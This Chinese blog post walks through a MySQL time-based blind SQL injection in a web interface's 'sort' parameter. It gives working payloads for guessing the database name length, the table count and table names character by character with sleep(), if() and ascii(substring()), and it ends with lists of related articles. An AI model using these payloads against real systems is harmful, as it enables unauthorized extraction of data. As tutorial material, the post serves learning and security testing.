通过Burpsuite结合sqlmap发现如下接口存在时间盲注

select * from information_schema.tables where id=1 union select sleep(if(length(database())=5,2,0)),2,3;

select database()

select length(database())
SELECT * FROM (SELECT(SLEEP(5)))PQfL
SELECT * FROM (SELECT(SLEEP(5)))a
SELECT(SLEEP(5))

page=1&rows=15&sort=CREATE_DATE AND if(length(database())=11,sleep(1),1)&order=desc
page=1&rows=15&sort=CREATE_DATE AND if((select count(*) from information_schema.tables where table_schema =database())=248,sleep(1),1)&order=desc

page=1&rows=15&sort=CREATE_DATE AND (if(select count(*) from information_schema.tables where table_schema =database())=248,sleep(1),1)&order=desc

if((select count(table_name) from information_schema.tables where table_schema=database())=1,sleep(1),1)

page=1&rows=15&sort=CREATE_DATE AND (SELECT * FROM (SELECT(SLEEP(1)))PQfL)&order=desc

手工注入案例:

首先分析sqlmap的跑出来的用例:

下面开始构造测试案例的sql:

先分析一下if的作用

如果length(database())=数据库表名长度 ,则执行sleep(1),否则执行1

所以通过尝试猜解,得出数据库名的长度

if(length(database())=11,sleep(1),1)

原始案例执行sleep(1),延时并执行成功

所以以sleep(1)作为基准测试

猜测数据库名的长度:

当尝试数据库名长度为9的时候,执行的sleep(1)

当尝试数据库名长度为10的时候,执行

当尝试数据库名长度为11的时候,执行的sleep(1)

猜测当前数据库里有多少张表

当尝试数据库中表个数为248的时候,执行的sleep(1)

当尝试数据库中表个数为250的时候,执行的sleep(1)

猜表名:

先理解mysql中的几个特殊函数:

MySQL字符串函数substring:字符串截取

MySQL 字符串截取函数:left(), right(), substring(), substring_index()。

还有 mid(), substr()。其中,mid(), substr() 等价于 substring() 函数,substring() 的功能非常强大和灵活。

if(select ascii(substring((select distinct concat(table_name) from information_schema.tables where table_schema=database() limit 0,1),1,1))=97,sleep(1),1);

select substring('example.com', -4, 2)
select substring('example.com', 4, 1);
select substring('example.com', 1, 1);
select ascii(substring('example.com', 4, 1));

select distinct concat(table_name) from information_schema.tables where table_schema=database()
select distinct concat(table_name) from information_schema.tables where table_schema=database() limit 0,1  //查询第1张表名
select distinct concat(table_name) from information_schema.tables where table_schema=database() limit 1,1  //查询第2张表名
select distinct concat(table_name) from information_schema.tables where table_schema=database() limit 2,1  //查询第3张表名

select substring((select distinct concat(table_name) from information_schema.tables where table_schema=database() limit 0,1),1,1) //第1张表的第1个字符
select substring((select distinct concat(table_name) from information_schema.tables where table_schema=database() limit 0,1),2,1) //第1张表的第2个字符
select substring((select distinct concat(table_name) from information_schema.tables where table_schema=database() limit 0,1),3,1) //第1张表的第3个字符

select ascii(substring((select distinct concat(table_name) from information_schema.tables where table_schema=database() limit 0,1),1,1)) //查询字符的ascii编码

page=1&rows=15&sort=CREATE_DATE AND if(ascii(substring((select distinct concat(table_name) from information_schema.tables where table_schema=database() limit 0,1),1,1))=96,sleep(1),1)&order=desc

当猜测第一个字符串为96时,

不报错,说明执行sleep(1)

当为97时

此时,执行的是1

当为98时

97的asccii编码对应的为a,其他的依次类推

猜测数据库表名的第一个字符:

所以第一个字符的asccii编码为115  即s(snsdb_test)

一般猜解的方法:

数据库长度--逐个字符猜解数据库名--数据库中表的个数--表名长度--表名-列名和字段

http://blog.csdn.net/qq_32400847/article/details/53699714 

参考:

http://blog.csdn.net/qq_32400847/article/details/53699714

http://www.cnblogs.com/ichunqiu/p/5864833.html

https://www.waitalone.cn/mysql-injection-summary.html

http://www.cnblogs.com/0x03/p/7451292.html

http://blog.csdn.net/jinzhichaoshuiping/article/details/45568883

http://www.cnblogs.com/dongchi/p/5079138.html

http://blog.csdn.net/qq_27446553/article/details/51794326

mysql时间延时注入案例的更多相关文章

  1. mysql 延时注入新思路

    转自先知社区https://xz.aliyun.com/t/2288 在4月的pwnhub比赛中,我们遇到了一个比较神奇的问题,如果在注入中遇到需要延时注入的情况,但服务端过滤了我们一般使用的slee ...

  2. Sqli-LABS通关笔录-8[延时注入]

    通过该关卡我学习到了 1.if语句的三目运算符(其实说白了也就是php里的三位运算符) 2.sleep函数 3.substring函数(其实和substr一样) 4.limit的灵活运用 5. Sta ...

  3. MySQL 数据库增量数据恢复案例

    MySQL 数据库增量数据恢复案例 一.场景概述 MySQL数据库每日零点自动全备 某天上午10点,小明莫名其妙地drop了一个数据库 我们需要通过全备的数据文件,以及增量的binlog文件进行数据恢 ...

  4. Mysql存储过程知识,案例--mysql存储过程基本函数

    Mysql存储过程知识,案例: create procedure delete_setting(in p_settingid integer) begin delete from setting wh ...

  5. sqli-labs:7,导入导出;8-10 延时注入

    1,Load_file()导出文件 使用条件: A.必须有权限读取并且文件必须完全可读(and (select count(*) from mysql.user)>0/* 如果结果返回正常,说明 ...

  6. MySQL防范SQL注入风险

    MySQL防范SQL注入风险 0.导读 在MySQL里,如何识别并且避免发生SQL注入风险 1.关于SQL注入 互联网很危险,信息及数据安全很重要,SQL注入是最常见的入侵手段之一,其技术门槛低.成本 ...

  7. 【菜鸟学注入】之MySQL报错注入详解

    本文转自:http://bbs.blackbap.org/forum.php?mod=viewthread&tid=6483&highlight=mysql%2B报错注入 用SQL注入 ...

  8. mysql 带外注入

    带外通道 有时候注入发现并没有回显,也不能利用时间盲注,那么就可以利用带外通道,也就是利用其他协议或者渠道,如http请求.DNS解析.SMB服务等将数据带出. payload SELECT LOAD ...

  9. MySQL时间类型及获取、展示处理

    MySQL时间格式 mysql所支持的日期时间类型有:DATETIME. TIMESTAMP.DATE.TIME.YEAR. 几种类型比较如下: 日期时间类型 占用空间 日期格式 最小值 最大值 零值 ...

随机推荐

  1. 使用lld自动发现监控多实例redis

    zabbix 可以通过常见的手段监控到各种服务,通过编写脚本来获取返回值并将获取到的值通过图形来展现出来,包括(系统.服务.业务)层面.可是有些时候在一些不固定的场合监控一些不固定的服务就比较麻烦.例 ...

  2. HNUOJ 13341

    题目给你一个串, 串是严格的 1 – n 的排列,里面的数是随机的 把这个串里面的数字分别输出//先预处理,对于给出的串能找到里面的最大数,再 DFS 处理 #include<iostream& ...

  3. python学习第1天

    01 cpu 内存 硬盘 操作系统 CPU:中央处理器,相当于人大脑. 飞机 内存:临时存储数据. 8g,16g, 高铁 1,成本高. 2,断电即消失. 硬盘:长期存储大量的数据. 1T 512G等等 ...

  4. Spring4-@Enable** 注解的实现原理

    背景 在前面的工作中使用SpringBoot的时候,我碰到了很多的使用@Enable***注解的地方,使用上也都是加在@Configuration 类注解的类上面,比如: (1)@EnableAuto ...

  5. mybatis xml中不能直接用大于号、小于号要用转义字符

    2.使用 <![CDATA[ ]]>标记

  6. Swift 学习- 02 -- 基础部分2

    class NamedShape{ var numberOfSides: Int = 0 var name: String init(name: String) { self.name = name ...

  7. Confluence 6 配置校验和识别

    校验你的设置 查看你 Confluence 当前使用的设置,请参考 Viewing System Properties 页面中的内容. 识别系统属性 请参考 Recognized System Pro ...

  8. Ionic3.0 输入状态时隐藏Tabs栏

    刚接触ionic3 不久 ,发现遍地都是坑,昨天遇到一个问题就是当键盘弹起的时候tabs 也被 弹了起来,最初预想是放在tabs 的一个子页面内处理这个问题, Tabs隐藏后,我们发现底部有部分空白, ...

  9. JS实现的ajax和同源策略

    一.回顾jQuery实现的ajax 首先说一下ajax的优缺点 优点: AJAX使用Javascript技术向服务器发送异步请求: AJAX无须刷新整个页面: 因为服务器响应内容不再是整个页面,而是页 ...

  10. java----AOP框架理解

    面向切面编程: 通过动态代理+加配置文件 目的解耦 给主逻辑添加一些修饰功能,但是不在主逻辑代码中进行修改,有点类似python中的装饰器,调用方法还是是通过接口的那个类来调用: import jav ...